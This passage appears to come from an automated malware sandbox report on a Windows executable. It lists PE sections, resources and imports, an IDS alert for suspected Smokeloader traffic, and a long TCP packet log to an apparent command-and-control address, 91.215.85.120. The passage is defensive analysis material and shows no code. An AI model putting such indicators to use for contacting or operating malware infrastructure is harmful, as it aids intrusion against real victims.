.diconeb	0x36000	0x7c	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x37000	0x9cd	0xa00	a371492f16c0940507435909603efe88	False	0.009375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.kesufo	0x38000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x39000	0xf658	0xf800	505339e230ddad074a5cd5d52ed2e8cc	False	0.5846144153225806	data	5.970034770056714	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
LEBUFIBIJAFILIXODA	0x47720	0x60c	ASCII text, with very long lines (1548), with no line terminators	English	United States	0.6143410852713178
RT_ICON	0x395f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.7528142589118199
RT_ICON	0x3a6b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.45149253731343286
RT_ICON	0x3b558	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.5771660649819494
RT_ICON	0x3be00	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.6203917050691244
RT_ICON	0x3c4c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.6719653179190751
RT_ICON	0x3ca30	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.49844398340248963
RT_ICON	0x3efd8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5659005628517824
RT_ICON	0x40080	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5975409836065574
RT_ICON	0x40a08	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6356382978723404
RT_ICON	0x40ee8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.39605543710021324
RT_ICON	0x41d90	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.5654332129963899
RT_ICON	0x42638	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	English	United States	0.6180875576036866
RT_ICON	0x42d00	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.6539017341040463
RT_ICON	0x43268	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.6327800829875518
RT_ICON	0x45810	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.6543151969981238
RT_ICON	0x468b8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States	0.6676229508196722
RT_ICON	0x47240	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.7101063829787234
RT_STRING	0x47f50	0x122	data	English	United States	0.5241379310344828
RT_STRING	0x48078	0x388	data	English	United States	0.459070796460177
RT_STRING	0x48400	0x252	data	English	United States	0.5067340067340067
RT_ACCELERATOR	0x47d30	0x20	data	English	United States	1.15625
RT_GROUP_ICON	0x3a698	0x14	data	English	United States	1.1
RT_GROUP_ICON	0x40e70	0x76	data	English	United States	0.6694915254237288
RT_GROUP_ICON	0x476a8	0x76	data	English	United States	0.6694915254237288
RT_VERSION	0x47d60	0x1f0	MS Windows COFF PowerPC object file	English	United States	0.5625
None	0x47d50	0xa	data	English	United States	1.8

Imports

DLL	Import
KERNEL32.dll	EndUpdateResourceW, InterlockedIncrement, MoveFileExW, OpenJobObjectA, SetDefaultCommConfigW, CreateDirectoryW, GetTickCount, GetProcessHeap, GetConsoleAliasesLengthA, TzSpecificLocalTimeToSystemTime, GetSystemTimes, WideCharToMultiByte, LoadLibraryW, CompareStringW, GetStartupInfoW, WritePrivateProfileStringW, FlushFileBuffers, GetConsoleAliasesW, HeapAlloc, SetLastError, GetProcAddress, CreateNamedPipeA, EnumDateFormatsExA, ResetEvent, OpenWaitableTimerA, LoadLibraryA, LocalAlloc, DnsHostnameToComputerNameA, SetProcessWorkingSetSize, FreeEnvironmentStringsW, GetCurrentDirectoryA, FileTimeToLocalFileTime, GetVolumeInformationW, IsValidLocale, EnumSystemLocalesA, GetUserDefaultLCID, GetLocaleInfoA, SetCurrentDirectoryA, GetModuleHandleExA, EncodePointer, DecodePointer, GetCommandLineA, HeapSetInformation, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetModuleHandleW, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameW, HeapCreate, HeapDestroy, Sleep, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameA, GetEnvironmentStringsW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetCurrentThreadId, GetLastError, InterlockedDecrement, GetCurrentThread, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, FatalAppExitA, SetConsoleCtrlHandler, FreeLibrary, InterlockedExchange, GetLocaleInfoW, HeapReAlloc, RtlUnwind, HeapFree, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetConsoleCP, GetConsoleMode, LCMapStringW, MultiByteToWideChar, GetStringTypeW, SetFilePointer, IsProcessorFeaturePresent, CloseHandle, WriteConsoleW, SetStdHandle, CreateFileW, RaiseException
USER32.dll	DestroyIcon, GetClassLongW
ADVAPI32.dll	ReadEventLogA, GetServiceKeyNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.491.215.85.12049735802039103 02/05/24-10:57:19.330324	TCP	2039103	ET TROJAN Suspected Smokeloader Activity (POST)	49735	80	192.168.2.4	91.215.85.120

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 5, 2024 10:57:18.828159094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.067656994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.067734003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.068062067 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.068101883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.307455063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.307487965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.325246096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.330323935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.330398083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.569974899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.587965965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.593369007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.593415022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.832971096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851627111 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851650953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851669073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851686954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851739883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.851783037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.851845980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851864100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851880074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851897955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851902962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.851917028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851934910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:19.851943970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:19.853878021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.091190100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091217041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091236115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091253996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091272116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091270924 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.091308117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.091310978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091331005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091346979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091360092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.091363907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091388941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.091489077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091507912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091543913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.091564894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091599941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.091638088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091655016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091671944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091689110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.091711998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.091737032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.093218088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.093286037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.093303919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.093321085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.093338966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.093363047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.330832958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.330854893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.330866098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.330873013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.330881119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.330934048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.330948114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.330960035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.330984116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.330981970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331037998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331056118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331068039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331079960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331104040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331114054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331130028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331177950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331190109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331201077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331231117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331248045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331259966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331270933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331284046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331296921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331334114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331371069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331408024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331418991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331432104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331443071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331465006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331511974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331523895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331543922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331554890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331573963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331593037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331598997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331634998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331640005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.331649065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.331901073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.332729101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.332741022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.332755089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.332766056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.332787991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.332817078 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.332844973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.332856894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.332868099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.332880020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.332899094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.332915068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.570452929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570472956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570483923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570492029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570544004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570557117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570588112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570600986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570600033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.570645094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.570677042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570699930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570713997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570725918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570755959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.570768118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570777893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.570805073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570816994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570847034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.570856094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570888996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570890903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.570954084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.570991039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571032047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571043968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571054935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571067095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571075916 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571079016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571090937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571103096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571111917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571115017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571142912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571147919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571180105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571225882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571238041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571249962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571271896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571276903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571305990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571357012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571369886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571381092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571392059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571403027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571415901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571458101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571469069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571479082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571491003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571505070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571518898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571532965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571542978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571558952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571564913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571599007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571602106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571645975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571657896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571681023 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571697950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571732044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571787119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571799994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571811914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571822882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571844101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571861029 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571888924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571901083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571913004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571923971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.571952105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571988106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.571995020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572007895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572046041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572067022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572078943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572091103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572112083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572118998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572127104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572139025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572149038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572173119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572184086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572212934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572252035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572263956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572277069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572288990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572318077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572370052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572381973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572407007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572417974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572429895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572441101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572453022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572462082 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572490931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572499037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572503090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572525978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572597980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572609901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572622061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572633982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572644949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572668076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.572674990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.572715044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810054064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810075045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810084105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810090065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810097933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810199022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810210943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810241938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810269117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810281992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810283899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810336113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810353041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810364962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810394049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810405970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810411930 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810431004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810442924 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810442924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810483932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810503006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810516119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810545921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810584068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810596943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810633898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810646057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810683012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810695887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810704947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810717106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810754061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810756922 CET	80	49735	91.215.85.120	192.168.2.4
